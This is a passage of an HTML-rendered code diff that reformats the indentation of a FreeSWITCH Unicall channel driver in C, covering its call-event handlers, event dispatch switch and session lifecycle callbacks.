</del><ins>+        //tech_pvt = switch_core_session_get_private(session);
+        //assert(tech_pvt != NULL);
+        //channel = switch_core_session_get_channel(session);
+        //assert(channel != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_farunblocked\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_farunblocked\n&quot;);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void on_localblocked(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>-    //switch_channel_t *channel;
-    //private_t *tech_pvt;
</del><ins>+        //switch_channel_t *channel;
+        //private_t *tech_pvt;
</ins><span class="cx"> 
</span><del>-    //tech_pvt = switch_core_session_get_private(session);
-    //assert(tech_pvt != NULL);
-    //channel = switch_core_session_get_channel(session);
-    //assert(channel != NULL);
</del><ins>+        //tech_pvt = switch_core_session_get_private(session);
+        //assert(tech_pvt != NULL);
+        //channel = switch_core_session_get_channel(session);
+        //assert(channel != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_localblocked\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_localblocked\n&quot;);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void on_localunblocked(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>-    //switch_channel_t *channel;
-    //private_t *tech_pvt;
</del><ins>+        //switch_channel_t *channel;
+        //private_t *tech_pvt;
</ins><span class="cx"> 
</span><del>-    //tech_pvt = switch_core_session_get_private(session);
-    //assert(tech_pvt != NULL);
-    //channel = switch_core_session_get_channel(session);
-    //assert(channel != NULL);
</del><ins>+        //tech_pvt = switch_core_session_get_private(session);
+        //assert(tech_pvt != NULL);
+        //channel = switch_core_session_get_channel(session);
+        //assert(channel != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_localunblocked\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_localunblocked\n&quot;);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void on_alarm(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx"> 
</span><del>-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_alarm\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_alarm\n&quot;);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void on_resetlinedev(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx"> 
</span><del>-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_resetlinedev\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_resetlinedev\n&quot;);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void on_l2frame(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx"> 
</span><del>-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_l2frame\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_l2frame\n&quot;);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void on_l2bufferfull(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx"> 
</span><del>-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_l2bufferfull\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_l2bufferfull\n&quot;);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void on_l2nobuffer(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx"> 
</span><del>-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_l2nobuffer\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_l2nobuffer\n&quot;);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void on_usrinfo(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx"> 
</span><del>-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_usrinfo\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;on_usrinfo\n&quot;);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void handle_uc_event(uc_t *uc, void *user_data, uc_event_t *e)
</span><span class="cx"> {
</span><del>-    switch_core_session_t *session;
</del><ins>+        switch_core_session_t *session;
</ins><span class="cx"> 
</span><del>-    session = (switch_core_session_t *) user_data;
-    assert(session != NULL);
</del><ins>+        session = (switch_core_session_t *) user_data;
+        assert(session != NULL);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;event %s\n&quot;, uc_event_to_str(e-&gt;e));
-    switch (e-&gt;e)
-    {
-    case UC_EVENT_DEVICEFAIL:
-        on_devicefail(uc, session, e);
-        break;
-    case UC_EVENT_PROTOCOLFAIL:
-        on_protocolfail(uc, session, e);
-        break;
-    case UC_EVENT_SIGCHANSTATUS:
-        on_sigchanstatus(uc, session, e);
-        break;
-    case UC_EVENT_DETECTED:
-        on_detected(uc, session, e);
-        break;
-    case UC_EVENT_OFFERED:
-        on_offered(uc, session, e);
-        break;
-    case UC_EVENT_REQUESTMOREINFO:
-        on_requestmoreinfo(uc, session, e);
-        break;
-    case UC_EVENT_ACCEPTED:
-        on_accepted(uc, session, e);
-        break;
-    case UC_EVENT_CALLINFO:
-        on_callinfo(uc, session, e);
-        break;
-    case UC_EVENT_FACILITY:
-        on_facility(uc, session, e);
-        break;
-    case UC_EVENT_DIALEDNUMBER:
-        on_dialednumber(uc, session, e);
-        break;
-    case UC_EVENT_DIALING:
-        on_dialing(uc, session, e);
-        break;
-    case UC_EVENT_SENDMOREINFO:
-        on_sendmoreinfo(uc, session, e);
-        break;
-    case UC_EVENT_PROCEEDING:
-        on_proceeding(uc, session, e);
-        break;
-    case UC_EVENT_ALERTING:
-        on_alerting(uc, session, e);
-        break;
-    case UC_EVENT_CONNECTED:
-        on_connected(uc, session, e);
-        break;
-    case UC_EVENT_ANSWERED:
-        on_answered(uc, session, e);
-        break;
-    case UC_EVENT_FARDISCONNECTED:
-        on_fardisconnected(uc, session, e);
-        break;
-    case UC_EVENT_DROPCALL:
-        on_dropcall(uc, session, e);
-        break;
-    case UC_EVENT_RELEASECALL:
-        on_releasecall(uc, session, e);
-        break;
-    case UC_EVENT_FARBLOCKED:
-        on_farblocked(uc, session, e);
-        break;
-    case UC_EVENT_FARUNBLOCKED:
-        on_farunblocked(uc, session, e);
-        break;
-    case UC_EVENT_LOCALBLOCKED:
-        on_localblocked(uc, session, e);
-        break;
-    case UC_EVENT_LOCALUNBLOCKED:
-        on_localunblocked(uc, session, e);
-        break;
-    case UC_EVENT_ALARM:
-        on_alarm(uc, session, e);
-        break;
-    case UC_EVENT_RESETLINEDEV:
-        on_resetlinedev(uc, session, e);
-        break;
-    case UC_EVENT_L2FRAME:
-        on_l2frame(uc, session, e);
-        break;
-    case UC_EVENT_L2BUFFERFULL:
-        on_l2bufferfull(uc, session, e);
-        break;
-    case UC_EVENT_L2NOBUFFER:
-        on_l2nobuffer(uc, session, e);
-        break;
-    case UC_EVENT_USRINFO:
-        on_usrinfo(uc, session, e);
-        break;
-    default:
-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;unknown unicall event %d\n&quot;, e-&gt;e);
-        break;
-    }
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;event %s\n&quot;, uc_event_to_str(e-&gt;e));
+        switch (e-&gt;e) {
+        case UC_EVENT_DEVICEFAIL:
+                on_devicefail(uc, session, e);
+                break;
+        case UC_EVENT_PROTOCOLFAIL:
+                on_protocolfail(uc, session, e);
+                break;
+        case UC_EVENT_SIGCHANSTATUS:
+                on_sigchanstatus(uc, session, e);
+                break;
+        case UC_EVENT_DETECTED:
+                on_detected(uc, session, e);
+                break;
+        case UC_EVENT_OFFERED:
+                on_offered(uc, session, e);
+                break;
+        case UC_EVENT_REQUESTMOREINFO:
+                on_requestmoreinfo(uc, session, e);
+                break;
+        case UC_EVENT_ACCEPTED:
+                on_accepted(uc, session, e);
+                break;
+        case UC_EVENT_CALLINFO:
+                on_callinfo(uc, session, e);
+                break;
+        case UC_EVENT_FACILITY:
+                on_facility(uc, session, e);
+                break;
+        case UC_EVENT_DIALEDNUMBER:
+                on_dialednumber(uc, session, e);
+                break;
+        case UC_EVENT_DIALING:
+                on_dialing(uc, session, e);
+                break;
+        case UC_EVENT_SENDMOREINFO:
+                on_sendmoreinfo(uc, session, e);
+                break;
+        case UC_EVENT_PROCEEDING:
+                on_proceeding(uc, session, e);
+                break;
+        case UC_EVENT_ALERTING:
+                on_alerting(uc, session, e);
+                break;
+        case UC_EVENT_CONNECTED:
+                on_connected(uc, session, e);
+                break;
+        case UC_EVENT_ANSWERED:
+                on_answered(uc, session, e);
+                break;
+        case UC_EVENT_FARDISCONNECTED:
+                on_fardisconnected(uc, session, e);
+                break;
+        case UC_EVENT_DROPCALL:
+                on_dropcall(uc, session, e);
+                break;
+        case UC_EVENT_RELEASECALL:
+                on_releasecall(uc, session, e);
+                break;
+        case UC_EVENT_FARBLOCKED:
+                on_farblocked(uc, session, e);
+                break;
+        case UC_EVENT_FARUNBLOCKED:
+                on_farunblocked(uc, session, e);
+                break;
+        case UC_EVENT_LOCALBLOCKED:
+                on_localblocked(uc, session, e);
+                break;
+        case UC_EVENT_LOCALUNBLOCKED:
+                on_localunblocked(uc, session, e);
+                break;
+        case UC_EVENT_ALARM:
+                on_alarm(uc, session, e);
+                break;
+        case UC_EVENT_RESETLINEDEV:
+                on_resetlinedev(uc, session, e);
+                break;
+        case UC_EVENT_L2FRAME:
+                on_l2frame(uc, session, e);
+                break;
+        case UC_EVENT_L2BUFFERFULL:
+                on_l2bufferfull(uc, session, e);
+                break;
+        case UC_EVENT_L2NOBUFFER:
+                on_l2nobuffer(uc, session, e);
+                break;
+        case UC_EVENT_USRINFO:
+                on_usrinfo(uc, session, e);
+                break;
+        default:
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;unknown unicall event %d\n&quot;, e-&gt;e);
+                break;
+        }
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static void tech_init(private_t *tech_pvt, switch_core_session_t *session)
</span><span class="cx"> {
</span><del>-    tech_pvt-&gt;read_frame.data = tech_pvt-&gt;databuf;
-    tech_pvt-&gt;read_frame.buflen = sizeof(tech_pvt-&gt;databuf);
-    switch_mutex_init(&amp;tech_pvt-&gt;mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
-    switch_mutex_init(&amp;tech_pvt-&gt;flag_mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
-    switch_core_session_set_private(session, tech_pvt);
-    tech_pvt-&gt;session = session;
</del><ins>+        tech_pvt-&gt;read_frame.data = tech_pvt-&gt;databuf;
+        tech_pvt-&gt;read_frame.buflen = sizeof(tech_pvt-&gt;databuf);
+        switch_mutex_init(&amp;tech_pvt-&gt;mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
+        switch_mutex_init(&amp;tech_pvt-&gt;flag_mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
+        switch_core_session_set_private(session, tech_pvt);
+        tech_pvt-&gt;session = session;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /* 
</span><span class="lines">@@ -873,74 +838,74 @@
</span><span class="cx"> */
</span><span class="cx"> static switch_status_t unicall_on_init(switch_core_session_t *session)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx"> 
</span><del>-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx"> 
</span><del>-switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;unicall_on_init(%p)\n&quot;, (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;unicall_on_init(%p)\n&quot;, (void *) session);
</ins><span class="cx"> 
</span><del>-    switch_set_flag_locked(tech_pvt, TFLAG_IO);
</del><ins>+        switch_set_flag_locked(tech_pvt, TFLAG_IO);
</ins><span class="cx"> 
</span><del>-    /* Move channel's state machine to ROUTING. This means the call is trying
-       to get from the initial state to the point where a destination has been
-       identified. If the channel is simply left in the initial state, nothing
-       will happen. */
-    switch_channel_set_state(channel, CS_ROUTING);
-    switch_mutex_lock(globals.mutex);
-    globals.calls++;
-    switch_mutex_unlock(globals.mutex);
</del><ins>+        /* Move channel's state machine to ROUTING. This means the call is trying
+           to get from the initial state to the point where a destination has been
+           identified. If the channel is simply left in the initial state, nothing
+           will happen. */
+        switch_channel_set_state(channel, CS_ROUTING);
+        switch_mutex_lock(globals.mutex);
+        globals.calls++;
+        switch_mutex_unlock(globals.mutex);
</ins><span class="cx"> 
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t unicall_on_routing(switch_core_session_t *session)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx"> 
</span><del>-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
</ins><span class="cx"> 
</span><del>-switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;unicall_on_routing(%p)\n&quot;, (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;unicall_on_routing(%p)\n&quot;, (void *) session);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;%s channel routing\n&quot;, switch_channel_get_name(channel));
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;%s channel routing\n&quot;, switch_channel_get_name(channel));
</ins><span class="cx"> 
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t unicall_on_execute(switch_core_session_t *session)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx"> 
</span><del>-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
</ins><span class="cx"> 
</span><del>-switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;unicall_on_execute(%p)\n&quot;, (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;unicall_on_execute(%p)\n&quot;, (void *) session);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;%s channel execute\n&quot;, switch_channel_get_name(channel));
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;%s channel execute\n&quot;, switch_channel_get_name(channel));
</ins><span class="cx"> 
</span><span class="cx"> 
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t unicall_on_destroy(switch_core_session_t *session)
</span><span class="cx"> {
</span><del>-    //switch_channel_t *channel;
-    private_t *tech_pvt;
</del><ins>+        //switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx"> 
</span><del>-    //channel = switch_core_session_get_channel(session);
-    //assert(channel != NULL);
</del><ins>+        //channel = switch_core_session_get_channel(session);
+        //assert(channel != NULL);
</ins><span class="cx"> 
</span><del>-    tech_pvt = switch_core_session_get_private(session);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
</ins><span class="cx"> 
</span><span class="cx">         if (tech_pvt) {
</span><span class="cx">                 if (switch_core_codec_ready(&amp;tech_pvt-&gt;read_codec))
</span><span class="lines">@@ -948,1030 +913,960 @@
</span><span class="cx">                 if (switch_core_codec_ready(&amp;tech_pvt-&gt;write_codec))
</span><span class="cx">                         switch_core_codec_destroy(&amp;tech_pvt-&gt;write_codec);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><del>-                
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t unicall_on_hangup(switch_core_session_t *session)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel;
-    private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx"> 
</span><del>-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
</ins><span class="cx"> 
</span><del>-switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;unicall_on_hangup(%p)\n&quot;, (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;unicall_on_hangup(%p)\n&quot;, (void *) session);
</ins><span class="cx"> 
</span><del>-    switch_clear_flag_locked(tech_pvt, TFLAG_IO);
-    switch_clear_flag_locked(tech_pvt, TFLAG_VOICE);
-    //switch_thread_cond_signal(tech_pvt-&gt;cond);
</del><ins>+        switch_clear_flag_locked(tech_pvt, TFLAG_IO);
+        switch_clear_flag_locked(tech_pvt, TFLAG_VOICE);
+        //switch_thread_cond_signal(tech_pvt-&gt;cond);
</ins><span class="cx"> 
</span><del>-                
-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;%s channel hangup\n&quot;, switch_channel_get_name(channel));
</del><span class="cx"> 
</span><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;%s channel hangup\n&quot;, switch_channel_get_name(channel));
+
</ins><span class="cx"> #if 0
</span><del>-    if ((ret = uc_call_control(uc, UC_OP_DROPCALL, crn, (void *) (intptr_t) switch_channel_get_cause(channel))) &lt; 0)
-    {
-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;Drop call failed - %s\n&quot;, uc_ret_to_str(ret));
-        return SWITCH_STATUS_FAILED;
-    }
-    /*endif*/
</del><ins>+        if ((ret = uc_call_control(uc, UC_OP_DROPCALL, crn, (void *) (intptr_t) switch_channel_get_cause(channel))) &lt; 0) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;Drop call failed - %s\n&quot;, uc_ret_to_str(ret));
+                return SWITCH_STATUS_FAILED;
+        }
+        /*endif */
</ins><span class="cx"> #endif
</span><span class="cx"> 
</span><del>-    switch_mutex_lock(globals.mutex);
-    if (--globals.calls &lt; 0)
-        globals.calls = 0;
-    switch_mutex_unlock(globals.mutex);
</del><ins>+        switch_mutex_lock(globals.mutex);
+        if (--globals.calls &lt; 0)
+                globals.calls = 0;
+        switch_mutex_unlock(globals.mutex);
</ins><span class="cx"> 
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t unicall_kill_channel(switch_core_session_t *session, int sig)
</span><span class="cx"> {
</span><del>-    switch_channel_t *channel = NULL;
-    private_t *tech_pvt = NULL;
</del><ins>+        switch_channel_t *channel = NULL;
+        private_t *tech_pvt = NULL;
</ins><span class="cx"> 
</span><del>-    channel = switch_core_session_get_channel(session);
-    assert(channel != NULL);
-    tech_pvt = switch_core_session_get_private(session);
-    assert(tech_pvt != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
</ins><span class="cx"> 
</span><del>-switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;unicall_kill_channel(%p, %d)\n&quot;, (void *) session, sig);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;unicall_kill_channel(%p, %d)\n&quot;, (void *) session, sig);
</ins><span class="cx"> 
</span><del>-    switch (sig)
-    {
-    case SWITCH_SIG_KILL:
-switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;unicall_kill_channel(%p, %d) SIG_KILL\n&quot;, (void *) session, sig);
-        switch_clear_flag_locked(tech_pvt, TFLAG_IO);
-        switch_clear_flag_locked(tech_pvt, TFLAG_VOICE);
-        switch_channel_hangup(channel, SWITCH_CAUSE_NORMAL_CLEARING);
-        //switch_thread_cond_signal(tech_pvt-&gt;cond);
-        break;
-    case SWITCH_SIG_BREAK:
-switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;unicall_kill_channel(%p, %d) SIG_BREAK\n&quot;, (void *) session, sig);
-        switch_set_flag_locked(tech_pvt, TFLAG_BREAK);
-        break;
-    default:
-switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;unicall_kill_channel(%p, %d) DEFAULT\n&quot;, (void *) session, sig);
-        break;
-    }
</del><ins>+        switch (sig) {
+        case SWITCH_SIG_KILL:
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;unicall_kill_channel(%p, %d) SIG_KILL\n&quot;, (void *) session, sig);
+                switch_clear_flag_locked(tech_pvt, TFLAG_IO);
+                switch_clear_flag_locked(tech_pvt, TFLAG_VOICE);
+                switch_channel_hangup(channel, SWITCH_CAUSE_NORMAL_CLEARING);
+                //switch_thread_cond_signal(tech_pvt-&gt;cond);
+                break;
+        case SWITCH_SIG_BREAK:
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;unicall_kill_channel(%p, %d) SIG_BREAK\n&quot;, (void *) session, sig);
+                switch_set_flag_locked(tech_pvt, TFLAG_BREAK);
+                break;
+        default:
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;unicall_kill_channel(%p, %d) DEFAULT\n&quot;, (void *) session, sig);
+                break;
+        }
</ins><span class="cx"> 
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t unicall_on_exchange_media(switch_core_session_t *session)
</span><span class="cx"> {
</span><del>-switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;unicall_on_exchange_media(%p)\n&quot;, (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;unicall_on_exchange_media(%p)\n&quot;, (void *) session);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;CHANNEL LOOPBACK\n&quot;);
-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;CHANNEL LOOPBACK\n&quot;);
+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t unicall_on_soft_execute(switch_core_session_t *session)
</span><span class="cx"> {
</span><del>-switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;unicall_on_soft_execute(%p)\n&quot;, (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;unicall_on_soft_execute(%p)\n&quot;, (void *) session);
</ins><span class="cx"> 
</span><del>-    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;CHANNEL TRANSMIT\n&quot;);
-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;CHANNEL TRANSMIT\n&quot;);
+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t unicall_send_dtmf(switch_core_session_t *session, const switch_dtmf_t *dtmf)
</span><span class="cx"> {
</span><del>-    private_t *tech_pvt = switch_core_session_get_private(session);
-    switch_assert(tech_pvt != NULL);
</del><ins>+        private_t *tech_pvt = switch_core_session_get_private(session);
+        switch_assert(tech_pvt != NULL);
</ins><span class="cx"> 
</span><del>-switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;unicall_send_dtmf(%p)\n&quot;, (void *) session);
